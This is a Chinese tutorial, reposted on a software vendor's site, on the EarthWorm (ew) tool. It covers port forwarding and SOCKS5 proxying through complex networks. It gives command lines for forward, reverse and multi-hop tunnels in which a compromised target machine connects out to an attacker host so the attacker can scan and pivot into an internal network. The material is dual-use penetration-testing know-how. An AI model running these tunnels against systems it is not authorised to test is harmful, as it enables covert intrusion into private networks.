LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

[点晴永久免费OA]EarthWorm(ew):复杂网络环境下内网穿透、端口转发及SOCKS5代理工具

admin
2023年10月21日 12:13 本文热度 1361

导读

一句话说明:复杂内网下,数据转发,转出转入工具;常用于socks5代理,深度扫描内网;

官方:EarthWorm是一款用于开启 SOCKS v5 代理服务的工具,基于标准 C 开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。

零、前言

本文是在学习了下面参考文章的基础上,基于自己的理解和心得补充了数据流量拓扑图,这样更好理解工具的使用场景和记住命令;本文仅作为技术交流。

一、要点先说

1、ew 自身的各个选项用途说明

-l 指定要监听的本地端口

-d 指定要反弹到的机器ip

-e 指定要反弹到的机器端口

-f 指定要主动连接的机器ip

-g 指定要主动连接的机器端口

-t 指定超时时长,默认为1000

2、正向代理和反向代理用途的区别

正向代理的典型用途是为在防火墙内的局域网客户端提供访问Internet的途径。

反向代理的典型用途是将防火墙后面的服务器提供给Internet用户访问。

3、rssocks 启动的socks5服务,转发到最后一步必须使用rcsocks接收

4、工具下载地址

http://rootkiter.com/EarthWorm/supportlist/

Program NameDescribeEg
ew_for_Win.exe附件:ew.zip
适用各种Windows系统(X86指令集、X64指令集)Windows7、Windows XP
ew_for_Linux32各常见Linux发行版
(X86 指令集 CPU)Ubuntu(X86)/BT5(X86)
ew_for_linux64各常见Linux发行版
(X64 指令集 CPU)Ubuntu(X64)/Kali(X64)
ew_for_MacOSX64

MacOS系统发行版 (X64 指令集)苹果PC电脑,苹果server
ew_for_Arm32常见Arm-Linux系统
HTC New One(Arm-Android)/小米路由器(R1D)

ew_mipsel常见Mips-Linux系统
(Mipsel指令集 CPU)萤石硬盘录像机、小米mini路由器(R1CM)

二、端口转发功能

场景一

在攻击机运行工具,主动连接靶机3389端口,并将靶机的3389映射到攻击机本地1080端口;达到在攻击机侧访问本地1080端口,将数据转发到靶机3389;

./ew -s lcx_tran -l 1080 -f 114.114.114.114 -g 3389

场景二

攻击机侧运行工具,做1080端口转发本地8080端口,且8080端口接受外部连接;靶机将本地3389端口数据转发到攻击机8080端口;
最终形成一条由靶机主动外联攻击机,并在靶机与攻击机形成一条数据转发通道:攻击机1080<--------->3389靶机

第一步在本地电脑创建监听端口8080,防火墙和路由器需要开放本电脑此端口8080的访问权限:

./ew -s lcx_listen -l 1080 -e 8080

第二步在远端受控电脑上创建到本地电脑IP-114.114.114.114及端口8080的连接,以及提供访问的其他电脑IP-10.0.0.1及端口3389(不一定要是此远端电脑,可以是此远端电脑能够访问到的其他电脑IP和端口):

./ew -s lcx_slave -d 114.114.114.114 -e 8080 -f 10.0.0.1 -g 3389

三、socks5代理功能

场景一(正向代理)

在靶机侧运行工具监听1080端口对外提供socks5代理服务;在攻击机侧使用代理工具(例如:proxychains)连接靶机提供的socks5代理服务,继续渗透扫描内网。

./ew -s ssocksd -l 1080

场景二(反向代理)

靶机侧运行工具,本地启动socks5服务,主动外联攻击机8080端口,攻击机侧运行工具,将对外访问的8080端口与到本地1080端口做映射,进行数据转发;

第一步在本地电脑创建监听端口8080,防火墙和路由器需要开放本电脑此端口8080的访问权限

./ew -s rcsocks -l 1080 -e 8080

第二步在远端受控电脑上创建到本地电脑IP-114.114.114.114及端口8080的连接

./ew -s rssocks -d 114.114.114.114 -e 8080

场景三(正向代理):

靶机侧运行工具启动socks5服务,边缘机侧运行工具将本地从1080端口收到的数据全部转发到靶机1086端口,在攻击机侧使用代理工具(例如:proxychains)连接边缘机提供的1080端口;最终达到攻击机侧与靶机之间形成socks5代理通道,继续渗透扫描内网。

第一步在远端靶机10.0.0.2上创建监听端口1086

./ew -s ssocksd -l 1086

第二步在远端边缘机上创建创建端口1080到靶机10.0.0.2端口1086的转发,防火墙和路由器需要开放远端边缘机端口1080的访问权限

./ew -s lcx_tran -l 1080 -f 10.0.0.2 -g 1086

场景四(反向代理):

靶机侧运行工具启动socks5服务,边缘机侧运行工具连接靶机1086端口并主动外联攻击机8080端口;攻击机侧运行工具,对外监听8080端口,并将数据转发到本地1080端口;最终实现在攻击机侧1080端口<—>靶机之间形成一条代理通道;

第一步在远端靶机创建监听端口1086:

./ew -s ssocksd -l 1086

第二步在本地电脑上创建监听端口8080:

./ew -s lcx_listen -l 1080 -e 8080

第三步在远端边缘机创建到本地电脑的连接:

./ew -s lcx_slave -d 114.114.114.114 -e 8080 -f 10.0.0.2 -g 1086

场景五(反向代理)-复杂型多级联接

靶机侧运行工具本地启动socks5服务并反向连接中间机7777端口;中间机侧运行工具将9999端口与7777端口数据转发互通;边缘机侧运行工具,通过主动外联攻击机8080端口将数据转发到中间机9999端口;攻击机侧运行工具,对外监听8080端口,并将数据转发到本地1080端口;最终实现在攻击机侧1080端口<—>靶机之间形成一条代理通道;

第一步:

./ew -s lcx_listen -l 9999 -e 7777

第二步:

./ew -s rssocks -d 10.0.1.2 -e 7777

第三步:

./ew -s rcsocks -l 1080 -e 8080

第四步:

./ew -s lcx_slave -d 114.114.114.114 -e 8080 -f 10.0.0.2 -g 9999

四、最后说点什么

1、耐下心来

刚开始看到这个工具本想一看而过,后来耐心的学习一下,打开了新世界。

2、动手实践

看了很多文章也包括官方的文档;发现对小白来说想了解工具功能和不同场景,单看文字不直观,没有网络拓扑很难理解。所以本着自己边学习边记录边分享的精神,整理了这篇文章。

3、横向比较

3.1 还发现了这个作者的另一个好用的工具Termite;目前EW和Termite作者已经不维护了,工具下载方式如下:

#git clone https://github.com/rootkiter/Binary-files.git

#cd Binary-files

#git checkout bd32230

HEAD 目前位于 bd32230 fix ew version

#ls

EarthWorm README.md Termite

其中Termite文件夹下面就是工具;

3.2 然后我在学习Termite的过程中又找到了一个和Termite功能基本一致的工具Venom(地址:https://github.com/Dliv3/Venom),我可以说这两个工具对我来说可以算是“神器”了!因为本篇重点是介绍EW的使用方法,后面再根据情况,也记录一下这两个“神器”工具的使用;

感兴趣的小伙伴可以学习一下Termite/Venom,玩起来挺爽。

参考文章:

1、项目主页

http://rootkiter.com/EarthWorm/附件:EarthWorm-master.zip

2、内网穿透的n种姿势

https://xz.aliyun.com/t/9454?accounttraceid=69827aec0fbd4da68045e255cee9fd32xlwo

3、EW使用

https://blog.csdn.net/ws13129/article/details/94445378

4、内网渗透入门到放弃之必备杀器

https://www.shangyouw.cn/win7/arc36509.html

5、Termite官方介绍说明

http://rootkiter.com/Termite/

http://rootkiter.com/Termite/README.txt

https://github.com/rootkiter/Termite

6、Venom官方介绍说明

https://github.com/Dliv3/Venom


该文章在 2023/10/21 16:58:18 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2024 ClickSun All Rights Reserved